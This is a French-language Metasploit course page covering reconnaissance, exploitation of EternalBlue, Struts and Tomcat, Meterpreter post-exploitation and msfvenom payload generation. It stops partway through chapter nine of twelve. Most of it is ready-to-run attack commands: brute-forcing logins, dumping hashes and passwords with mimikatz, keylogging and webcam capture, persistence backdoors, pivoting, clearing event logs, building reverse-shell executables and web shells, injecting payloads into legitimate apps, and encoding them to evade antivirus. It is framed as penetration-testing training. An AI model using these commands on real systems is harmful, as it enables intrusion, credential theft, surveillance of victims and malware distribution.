💥 Exploitation & Post-Exploitation

Cours Metasploit — De A à Z

Framework d'exploitation : modules, payloads, Meterpreter, post-exploitation et automatisation.

12Chapitres
60+Exemples
MSF 6.xVersion
Exploit ExploitationMeterpreterPayloadsPost-ExploitationPivoting
🔍

Aucun résultat pour cette recherche.

Cours Complet Metasploit - De A à Z

Table des Matières

  1. Introduction à Metasploit
  2. Installation et Configuration
  3. Architecture de Metasploit
  4. Interface et Commandes de Base
  5. Reconnaissance et Scanning
  6. Exploitation de Vulnérabilités
  7. Post-Exploitation
  8. Meterpreter en Détail
  9. Payloads et Encodeurs
  10. Techniques Avancées
  11. Scripts et Automatisation
  12. Cas Pratiques Complets

1. Introduction à Metasploit

1.1 Qu’est-ce que Metasploit ?

Metasploit Framework est le framework de test d’intrusion le plus populaire au monde. Développé initialement par H.D. Moore en 2003, il est maintenant maintenu par Rapid7.

Utilisations légitimes : - Tests de pénétration autorisés - Recherche en sécurité - Validation de vulnérabilités - Formation en cybersécurité - Développement de détections

Composants principaux : - msfconsole : Interface en ligne de commande interactive - msfvenom : Générateur de payloads - msfdb : Gestion de la base de données - Exploits : Code pour exploiter des vulnérabilités - Payloads : Code exécuté après exploitation - Auxiliaires : Modules pour scanning, fuzzing, etc.

1.2 Concepts Clés

┌─────────────────────────────────────────────┐
         WORKFLOW METASPLOIT                 
├─────────────────────────────────────────────┤
                                             
  1. RECONNAISSANCE                          
     └─> Scan réseau, énumération           
                                             
  2. SCANNING                                
     └─> Identification de vulnérabilités   
                                             
  3. EXPLOITATION                            
     └─> Exploit + Payload = Accès          
                                             
  4. POST-EXPLOITATION                       
     └─> Élévation, pivoting, exfiltration  
                                             
  5. MAINTIEN D'ACCÈS                        │
     └─> Backdoors, persistence             
                                             
└─────────────────────────────────────────────┘

2. Installation et Configuration

2.1 Installation sur Kali Linux

Metasploit est préinstallé sur Kali Linux. Pour vérifier :

# Vérifier l'installation
msfconsole --version

# Mettre à jour Metasploit
sudo apt update
sudo apt install metasploit-framework

2.2 Installation sur d’autres distributions Linux

# Ubuntu/Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Après installation
msfdb init

2.3 Configuration de la Base de Données PostgreSQL

Metasploit utilise PostgreSQL pour stocker les résultats :

# Initialiser la base de données
sudo msfdb init

# Vérifier le statut
sudo msfdb status

# Réinitialiser si nécessaire
sudo msfdb delete
sudo msfdb init

# Démarrer msfconsole et vérifier la connexion DB
msfconsole
msf6 > db_status

2.4 Configuration Initiale Recommandée

# Créer un workspace pour vos tests
msf6 > workspace -a mon_projet

# Configurer les logs
msf6 > spool /tmp/msf_console.log

# Activer les couleurs
msf6 > setg PromptChar ">"
msf6 > setg TimestampOutput true

3. Architecture de Metasploit

3.1 Structure des Modules

/usr/share/metasploit-framework/
├── modules/
   ├── exploits/          # Exploits classés par système
      ├── windows/
      ├── linux/
      ├── multi/
      ├── android/
      └── ...
   ├── payloads/          # Code à exécuter après exploit
      ├── singles/       # Standalone
      ├── stagers/       # Étape 1 (petit)
      └── stages/        # Étape 2 (complet)
   ├── auxiliary/         # Scanners, fuzzers, etc.
   ├── post/              # Post-exploitation
   ├── encoders/          # Encodage de payloads
   └── nops/              # No-operation generators
├── data/
├── lib/
└── tools/

3.2 Types de Modules

1. Exploits - Modules qui exploitent des vulnérabilités spécifiques - Classés par plateforme et service

2. Auxiliaires - Scanners (ports, services, vulnérabilités) - Fuzzers - Sniffers - Outils d’énumération

3. Payloads - Singles : Tout-en-un, autonome - Stagers : Petit payload qui télécharge le stage - Stages : Payload complet (ex: Meterpreter)

4. Post-exploitation - Collecte d’informations - Élévation de privilèges - Pivoting - Persistence

5. Encoders - Obfuscation de payloads - Contournement d’antivirus

3.3 Convention de Nommage

type/os/service/nom_exploit

Exemples :
exploit/windows/smb/ms17_010_eternalblue
auxiliary/scanner/smb/smb_version
payload/windows/x64/meterpreter/reverse_tcp
post/windows/gather/hashdump

4. Interface et Commandes de Base

4.1 Démarrage de msfconsole

# Démarrer Metasploit console
msfconsole

# Démarrer sans bannière (plus rapide)
msfconsole -q

# Charger un fichier de ressources
msfconsole -r script.rc

4.2 Commandes Essentielles

# Rechercher un module
msf6 > search eternalblue
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017 rank:excellent

# Filtres de recherche
msf6 > search type:auxiliary port:445
msf6 > search name:apache
msf6 > search author:metasploit

# Utiliser un module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Retourner en arrière
msf6 exploit(windows/smb/ms17_010_eternalblue) > back

# Afficher les informations d'un module
msf6 > info exploit/windows/smb/ms17_010_eternalblue

Configuration des Options

# Afficher les options requises
msf6 exploit(ms17_010_eternalblue) > show options

# Définir une option
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set RPORT 445

# Définir globalement (pour tous les modules)
msf6 > setg RHOSTS 192.168.1.0/24

# Voir/annuler une variable
msf6 exploit(ms17_010_eternalblue) > get RHOSTS
msf6 exploit(ms17_010_eternalblue) > unset RHOSTS

# Voir les variables globales
msf6 > getg

Payloads

# Lister les payloads compatibles
msf6 exploit(ms17_010_eternalblue) > show payloads

# Définir un payload
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

# Configurer le payload
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444

Exécution

# Vérifier la configuration
msf6 exploit(ms17_010_eternalblue) > check

# Exploiter
msf6 exploit(ms17_010_eternalblue) > exploit
# ou
msf6 exploit(ms17_010_eternalblue) > run

# Exploiter en arrière-plan
msf6 exploit(ms17_010_eternalblue) > exploit -j

# Exploiter avec options temporaires
msf6 exploit(ms17_010_eternalblue) > exploit RHOSTS=192.168.1.100

Gestion des Sessions

# Lister les sessions actives
msf6 > sessions -l

# Interagir avec une session
msf6 > sessions -i 1

# Exécuter une commande sur une session
msf6 > sessions -c "sysinfo" 1

# Tuer une session
msf6 > sessions -k 1

# Mettre une session en arrière-plan (depuis la session)
meterpreter > background

4.3 Commandes de Base de Données

# Vérifier la connexion DB
msf6 > db_status

# Workspaces
msf6 > workspace                    # Lister
msf6 > workspace -a test_lab        # Créer
msf6 > workspace test_lab           # Basculer
msf6 > workspace -d test_lab        # Supprimer

# Importer des résultats de scan
msf6 > db_import scan_nmap.xml

# Gérer les hôtes
msf6 > hosts                        # Lister
msf6 > hosts -a 192.168.1.100       # Ajouter
msf6 > hosts -d 192.168.1.100       # Supprimer

# Gérer les services
msf6 > services                     # Lister
msf6 > services -p 445              # Filtrer par port

# Gérer les vulnérabilités
msf6 > vulns                        # Lister

# Gérer les credentials
msf6 > creds                        # Lister
msf6 > creds -a                     # Ajouter

4.4 Aide et Documentation

# Aide générale
msf6 > help

# Aide sur une commande spécifique
msf6 > help search
msf6 > help set

# Informations détaillées sur un module
msf6 > info exploit/windows/smb/ms17_010_eternalblue

# Afficher les options avancées
msf6 exploit(ms17_010_eternalblue) > show advanced

5. Reconnaissance et Scanning

5.1 Intégration avec Nmap

# Scanner depuis msfconsole
msf6 > db_nmap -sV -sC -O 192.168.1.0/24

# Scanner spécifique
msf6 > db_nmap -p 445,139 --script smb-vuln* 192.168.1.0/24

# Les résultats sont automatiquement stockés dans la DB
msf6 > hosts
msf6 > services

5.2 Modules Auxiliaires de Scanning

Découverte d’Hôtes

# ARP Sweep (réseau local)
msf6 > use auxiliary/scanner/discovery/arp_sweep
msf6 auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(arp_sweep) > set THREADS 10
msf6 auxiliary(arp_sweep) > run

# UDP Sweep
msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(udp_sweep) > run

Énumération SMB

# Version SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 20
msf6 auxiliary(smb_version) > run

# Énumération de partages SMB
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(smb_enumshares) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_enumshares) > set SMBUser admin
msf6 auxiliary(smb_enumshares) > set SMBPass password123
msf6 auxiliary(smb_enumshares) > run

# Énumération d'utilisateurs SMB
msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 auxiliary(smb_enumusers) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_enumusers) > run

# Scanner de vulnérabilités SMB
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > run

Énumération SSH

# Version SSH
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(ssh_version) > run

# Brute force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(ssh_login) > set USERNAME root
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ssh_login) > set THREADS 5
msf6 auxiliary(ssh_login) > set VERBOSE false
msf6 auxiliary(ssh_login) > run

Énumération HTTP/HTTPS

# Scanner de répertoires web
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(dir_scanner) > set RHOSTS 192.168.1.100
msf6 auxiliary(dir_scanner) > set THREADS 10
msf6 auxiliary(dir_scanner) > run

# Énumération de fichiers
msf6 > use auxiliary/scanner/http/files_dir
msf6 auxiliary(files_dir) > set RHOSTS 192.168.1.100
msf6 auxiliary(files_dir) > run

# Détection d'applications web
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(http_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(http_version) > run

# Scanner Apache Tomcat
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(tomcat_mgr_login) > run

Énumération MySQL

# Scanner MySQL
msf6 > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(mysql_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(mysql_version) > run

# Brute force MySQL
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(mysql_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(mysql_login) > set USERNAME root
msf6 auxiliary(mysql_login) > set PASS_FILE /usr/share/wordlists/passwords.txt
msf6 auxiliary(mysql_login) > run

# Énumération de bases de données
msf6 > use auxiliary/admin/mysql/mysql_enum
msf6 auxiliary(mysql_enum) > set RHOSTS 192.168.1.100
msf6 auxiliary(mysql_enum) > set USERNAME root
msf6 auxiliary(mysql_enum) > set PASSWORD toor
msf6 auxiliary(mysql_enum) > run

5.3 Scan Complet Automatisé

# Créer un fichier de ressources pour scan automatique
# Fichier: auto_scan.rc

workspace -a auto_scan
db_nmap -sV -sC -O -T4 192.168.1.0/24

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 20
run

use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run

hosts
services

# Exécuter le script
msfconsole -r auto_scan.rc

6. Exploitation de Vulnérabilités

6.1 Exemple Complet : EternalBlue (MS17-010)

Contexte : Vulnérabilité critique dans SMBv1 (Windows 7, Server 2008, etc.)

Étape 1 : Vérification de la vulnérabilité

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(smb_ms17_010) > run

[+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

Étape 2 : Configuration de l’exploit

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options

# Configuration
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set RPORT 445

# Choisir un payload
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444

# Afficher la configuration
msf6 exploit(ms17_010_eternalblue) > show options

Étape 3 : Vérification avant exploitation

msf6 exploit(ms17_010_eternalblue) > check

[*] 192.168.1.100:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.100:445 - The target is vulnerable.

Étape 4 : Exploitation

msf6 exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.100:445 - Connecting to target for exploitation
[+] 192.168.1.100:445 - Connection established
[*] 192.168.1.100:445 - Sending stage (200774 bytes)
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49158)

meterpreter >

6.2 Exemple : Exploitation Apache Struts (CVE-2017-5638)

# Rechercher l'exploit
msf6 > search struts cve:2017

# Utiliser l'exploit
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2_content_type_ognl) > set RHOSTS 192.168.1.200
msf6 exploit(struts2_content_type_ognl) > set RPORT 8080
msf6 exploit(struts2_content_type_ognl) > set TARGETURI /struts2-showcase/

# Payload Linux
msf6 exploit(struts2_content_type_ognl) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(struts2_content_type_ognl) > set LHOST 192.168.1.50
msf6 exploit(struts2_content_type_ognl) > set LPORT 4444

msf6 exploit(struts2_content_type_ognl) > check
msf6 exploit(struts2_content_type_ognl) > exploit

6.3 Exemple : Exploitation Tomcat Manager

# Brute force des credentials
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.150
msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(tomcat_mgr_login) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
msf6 auxiliary(tomcat_mgr_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
msf6 auxiliary(tomcat_mgr_login) > run

[+] 192.168.1.150:8080 - LOGIN SUCCESSFUL: tomcat:tomcat

# Exploitation avec les credentials trouvés
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(tomcat_mgr_upload) > set RHOSTS 192.168.1.150
msf6 exploit(tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
msf6 exploit(tomcat_mgr_upload) > set LHOST 192.168.1.50
msf6 exploit(tomcat_mgr_upload) > exploit

6.4 Exemple : Exploitation UnrealIRCd Backdoor

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unreal_ircd_3281_backdoor) > set RHOSTS 192.168.1.180
msf6 exploit(unreal_ircd_3281_backdoor) > set RPORT 6667
msf6 exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
msf6 exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.1.50
msf6 exploit(unreal_ircd_3281_backdoor) > exploit

[*] Command shell session 1 opened

# Upgrade vers Meterpreter
msf6 > sessions -u 1

6.5 Gestion des Exploits Échoués

# Augmenter la verbosité
msf6 exploit(module) > set VERBOSE true

# Essayer des options avancées
msf6 exploit(module) > show advanced
msf6 exploit(module) > set AutoVerifySession false

# Essayer un payload différent
msf6 exploit(module) > show payloads
msf6 exploit(module) > set payload windows/shell/reverse_tcp

# Vérifier les logs
msf6 > cat ~/.msf4/logs/framework.log

7. Post-Exploitation

7.1 Collecte d’Informations Système

# Une fois en session Meterpreter
meterpreter > sysinfo
meterpreter > getuid
meterpreter > pwd
meterpreter > ipconfig
meterpreter > route

# Lister les processus
meterpreter > ps

# Informations réseau détaillées
meterpreter > netstat
meterpreter > arp

7.2 Modules Post-Exploitation Windows

Extraction de Mots de Passe

# Dump des hashs (nécessite SYSTEM)
meterpreter > hashdump

# Si pas assez de privilèges, migrer vers un processus SYSTEM
meterpreter > ps
meterpreter > migrate 668  # PID d'un processus SYSTEM

# Utiliser mimikatz pour extraire les passwords
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug
meterpreter > kiwi_cmd sekurlsa::logonpasswords
meterpreter > creds_all

# Ou via module post
meterpreter > background
msf6 > use post/windows/gather/smart_hashdump
msf6 post(smart_hashdump) > set SESSION 1
msf6 post(smart_hashdump) > run

Énumération Système

# Collecter les informations système
meterpreter > background
msf6 > use post/windows/gather/enum_logged_on_users
msf6 post(enum_logged_on_users) > set SESSION 1
msf6 post(enum_logged_on_users) > run

# Énumération des applications installées
msf6 > use post/windows/gather/enum_applications
msf6 post(enum_applications) > set SESSION 1
msf6 post(enum_applications) > run

# Énumération des patches
msf6 > use post/windows/gather/enum_patches
msf6 post(enum_patches) > set SESSION 1
msf6 post(enum_patches) > run

# Recherche de fichiers sensibles
msf6 > use post/windows/gather/enum_files
msf6 post(enum_files) > set SESSION 1
msf6 post(enum_files) > set FILE_GLOBS *.txt,*.doc,*.xls,*.pdf
msf6 post(enum_files) > run

Élévation de Privilèges

# Suggérer des exploits locaux
meterpreter > background
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

# Exemple : BypassUAC
msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 exploit(bypassuac_fodhelper) > set SESSION 1
msf6 exploit(bypassuac_fodhelper) > set LHOST 192.168.1.50
msf6 exploit(bypassuac_fodhelper) > exploit

# Token Impersonation
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"

Keylogging

# Démarrer le keylogger
meterpreter > keyscan_start

# Attendre un peu...
meterpreter > keyscan_dump

# Arrêter le keylogger
meterpreter > keyscan_stop

Capture d’Écran et Webcam

# Capture d'écran
meterpreter > screenshot

# Enregistrer dans un fichier spécifique
meterpreter > screenshot /tmp/capture.png

# Webcam
meterpreter > webcam_list
meterpreter > webcam_snap
meterpreter > webcam_stream

7.3 Post-Exploitation Linux

Collecte d’Informations

# Hash dump Linux
meterpreter > background
msf6 > use post/linux/gather/hashdump
msf6 post(hashdump) > set SESSION 1
msf6 post(hashdump) > run

# Énumération de configuration
msf6 > use post/linux/gather/enum_configs
msf6 post(enum_configs) > set SESSION 1
msf6 post(enum_configs) > run

# Énumération réseau
msf6 > use post/linux/gather/enum_network
msf6 post(enum_network) > set SESSION 1
msf6 post(enum_network) > run

# Chercher des fichiers sensibles
msf6 > use post/linux/gather/checkvm
msf6 post(checkvm) > set SESSION 1
msf6 post(checkvm) > run

Élévation de Privilèges Linux

# Suggérer des exploits
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

# Exemple : Dirty COW
msf6 > use exploit/linux/local/dirtycow
msf6 exploit(dirtycow) > set SESSION 1
msf6 exploit(dirtycow) > exploit

7.4 Persistence

Windows Persistence

# Registry Run Key
meterpreter > background
msf6 > use exploit/windows/local/registry_persistence
msf6 exploit(registry_persistence) > set SESSION 1
msf6 exploit(registry_persistence) > set LHOST 192.168.1.50
msf6 exploit(registry_persistence) > exploit

# Service Persistence
msf6 > use exploit/windows/local/persistence_service
msf6 exploit(persistence_service) > set SESSION 1
msf6 exploit(persistence_service) > exploit

# Scheduled Task
msf6 > use exploit/windows/local/s4u_persistence
msf6 exploit(s4u_persistence) > set SESSION 1
msf6 exploit(s4u_persistence) > set TRIGGER logon
msf6 exploit(s4u_persistence) > exploit

Linux Persistence

# Cron job
msf6 > use exploit/linux/local/cron_persistence
msf6 exploit(cron_persistence) > set SESSION 1
msf6 exploit(cron_persistence) > set LHOST 192.168.1.50
msf6 exploit(cron_persistence) > exploit

# SSH Key
meterpreter > upload /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys

7.5 Pivoting

# Ajouter une route vers un réseau interne
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > run autoroute -p

# Port forwarding local
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.50

# SOCKS Proxy
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -j

# Configurer proxychains
# /etc/proxychains4.conf
# socks4 127.0.0.1 1080

# Utiliser avec d'autres outils
proxychains nmap -sT -Pn 10.10.10.0/24

8. Meterpreter en Détail

8.1 Comprendre Meterpreter

Meterpreter (Meta-Interpreter) est un payload avancé qui : - S’exécute entièrement en mémoire (stealthier) - Utilise des canaux de communication chiffrés - Est extensible via des modules - Ne crée pas de nouveaux processus

Types de Meterpreter : - windows/meterpreter/reverse_tcp : Stager Windows - windows/meterpreter_reverse_tcp : Single (tout-en-un) - linux/x64/meterpreter/reverse_tcp : Linux 64-bit - android/meterpreter/reverse_tcp : Android - java/meterpreter/reverse_tcp : Multi-plateforme Java

8.2 Commandes Essentielles Meterpreter

Système de Fichiers

# Navigation
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users\\Admin\\Desktop
meterpreter > cat passwords.txt

# Recherche de fichiers
meterpreter > search -f *.txt
meterpreter > search -d C:\\Users -f *.doc

# Upload/Download
meterpreter > upload /root/backdoor.exe C:\\Windows\\Temp\\
meterpreter > download C:\\Users\\Admin\\Documents\\secret.doc /tmp/

# Exécution de commandes
meterpreter > execute -f cmd.exe -i -H
meterpreter > execute -f notepad.exe -a "C:\\temp\\file.txt"

Gestion de Processus

# Lister les processus
meterpreter > ps

# Migrer vers un autre processus
meterpreter > migrate 1234

# Tuer un processus
meterpreter > kill 5678

# Obtenir le PID actuel
meterpreter > getpid

Shell et Commandes Système

# Ouvrir un shell système
meterpreter > shell
C:\> whoami
C:\> exit

# Exécuter une commande unique
meterpreter > execute -f cmd.exe -a "/c whoami" -c

Réseaux

# Informations réseau
meterpreter > ifconfig
meterpreter > route
meterpreter > arp
meterpreter > netstat

# Port forwarding
meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.100
meterpreter > portfwd list
meterpreter > portfwd delete -l 8080

8.3 Extensions Meterpreter

Kiwi (Mimikatz)

# Charger Kiwi
meterpreter > load kiwi

# Commandes disponibles
meterpreter > help kiwi

# Extraire les credentials
meterpreter > creds_all
meterpreter > creds_msv
meterpreter > creds_kerberos
meterpreter > creds_wdigest

# Golden ticket
meterpreter > golden_ticket_create -u Administrator -d domain.local -s S-1-5-21-... -k krbtgt_hash

Incognito (Token Impersonation)

# Charger Incognito
meterpreter > load incognito

# Lister les tokens disponibles
meterpreter > list_tokens -u
meterpreter > list_tokens -g

# Usurper un token
meterpreter > impersonate_token "DOMAIN\\Administrator"

# Revenir au token original
meterpreter > rev2self

Sniffer

# Charger le sniffer
meterpreter > load sniffer

# Lister les interfaces
meterpreter > sniffer_interfaces

# Démarrer la capture
meterpreter > sniffer_start 1 50000

# Statistiques
meterpreter > sniffer_stats 1

# Sauvegarder la capture
meterpreter > sniffer_dump 1 /tmp/capture.pcap

# Arrêter
meterpreter > sniffer_stop 1

Python Interpreter

# Charger Python
meterpreter > load python

# Exécuter du code Python
meterpreter > python_execute "print('Hello from Python')"
meterpreter > python_execute "import os; os.system('whoami')"

8.4 Scripts Meterpreter

# Automatiser des tâches courantes
meterpreter > run post/windows/gather/checkvm
meterpreter > run post/windows/manage/killav
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run post/windows/gather/credentials/windows_autologin

# Script de migration automatique
meterpreter > run migrate

# Cleanup tracks
meterpreter > clearev

8.5 Upgrade de Shell vers Meterpreter

# Si vous avez un shell basique
msf6 > sessions -l
msf6 > sessions -u 1

# Ou manuellement
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(shell_to_meterpreter) > set SESSION 1
msf6 post(shell_to_meterpreter) > set LHOST 192.168.1.50
msf6 post(shell_to_meterpreter) > run

9. Payloads et Encodeurs

9.1 Comprendre les Payloads

Singles vs Staged :

# Single (tout-en-un, plus gros)
windows/shell_reverse_tcp          # Shell simple
windows/meterpreter_reverse_tcp    # Meterpreter complet

# Staged (2 parties : stager petit + stage gros)
windows/shell/reverse_tcp          # Stager + shell
windows/meterpreter/reverse_tcp    # Stager + meterpreter

Avantages Singles : - Autonome, pas de second stage - Fonctionne même avec connexions instables

Avantages Staged : - Stager très petit (utile pour petits buffer overflows) - Stage ne traverse pas le réseau (moins de détection)

9.2 MSFVenom - Générateur de Payloads

Syntaxe de Base

msfvenom -p <payload> <options> -f <format> -o <output>

Exemples Windows

# EXE reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o backdoor.exe

# EXE 64-bit
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o backdoor64.exe

# DLL
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f dll -o backdoor.dll

# MSI (Windows Installer)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f msi -o installer.msi

# Service executable
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe-service -o service.exe

# Shellcode en C
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f c -o shellcode.c

Exemples Linux

# ELF binary
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f elf -o backdoor.elf

# Shellcode pour exploitation
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f python -o shellcode.py

Exemples Web

# PHP
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shell.php

# ASP
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f asp -o shell.asp

# ASPX
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f aspx -o shell.aspx

# JSP
msfvenom -p java/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f war -o shell.war

# Python
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shell.py

Exemples Mobile

# Android APK
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -o malicious.apk

# APK avec injection dans app légitime
msfvenom -x legitimate.apk \
  -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -o injected.apk

9.3 Encodeurs

Lister les Encodeurs

msfvenom --list encoders

Utiliser des Encodeurs

# Encoder une fois avec x86/shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai \
  -f exe -o encoded.exe

# Encoder 10 fois (plus de bypass AV)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 \
  -f exe -o encoded10.exe

# Utiliser plusieurs encodeurs
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/countdown -e x86/shikata_ga_nai \
  -f exe -o multi_encoded.exe

Encodeurs Communs

# x86 (32-bit)
x86/shikata_ga_nai      # Polymorphique, très utilisé
x86/call4_dword_xor     # XOR encoder
x86/countdown           # Countdown encoder

# x64 (64-bit)
x64/xor                 # Simple XOR
x64/zutto_dekiru        # Polymorphique

# CMD
cmd/powershell_base64   # Encode en base64 pour PowerShell

9.4 Templates et Injection

# Injecter payload dans un EXE légitime
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x putty.exe \
  -k \
  -f exe -o putty_backdoor.exe

# -x : template (fichier original)
# -k : keep template behavior (préserve fonctionnalité)

# Utiliser un template personnalisé
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x /path/to/template.exe \
  -k -f exe -o output.exe

9.5 Formats de Sortie

# Lister tous les formats
msfvenom --list formats

# Formats communs
-f exe          # Windows executable
-f elf          # Linux executable
-f dll          # Windows DLL
-f war          # Java WAR
-f raw          # Raw shellcode
-f c            # C code
-f python       # Python code
-f powershell   # PowerShell script
-f vba          # VBA macro
-f asp          # ASP web shell
-f aspx         # ASPX web shell
-f php          # PHP web shell

9.6 Écouter les Connexions (Handler)

# Méthode 1 : Multi/handler
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.1.50
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j  # -j pour background

# Méthode 2 : Via fichier de ressources
# handler.rc:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j

# Lancer
msfconsole -r handler.rc

